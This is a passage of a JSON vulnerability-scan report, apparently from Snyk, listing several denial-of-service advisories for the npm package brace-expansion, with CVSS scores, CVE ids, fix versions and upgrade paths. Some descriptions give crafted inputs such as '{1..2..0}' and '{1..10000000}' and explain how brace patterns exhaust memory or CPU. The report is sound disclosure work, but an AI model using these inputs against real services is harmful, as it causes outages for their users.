"https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": 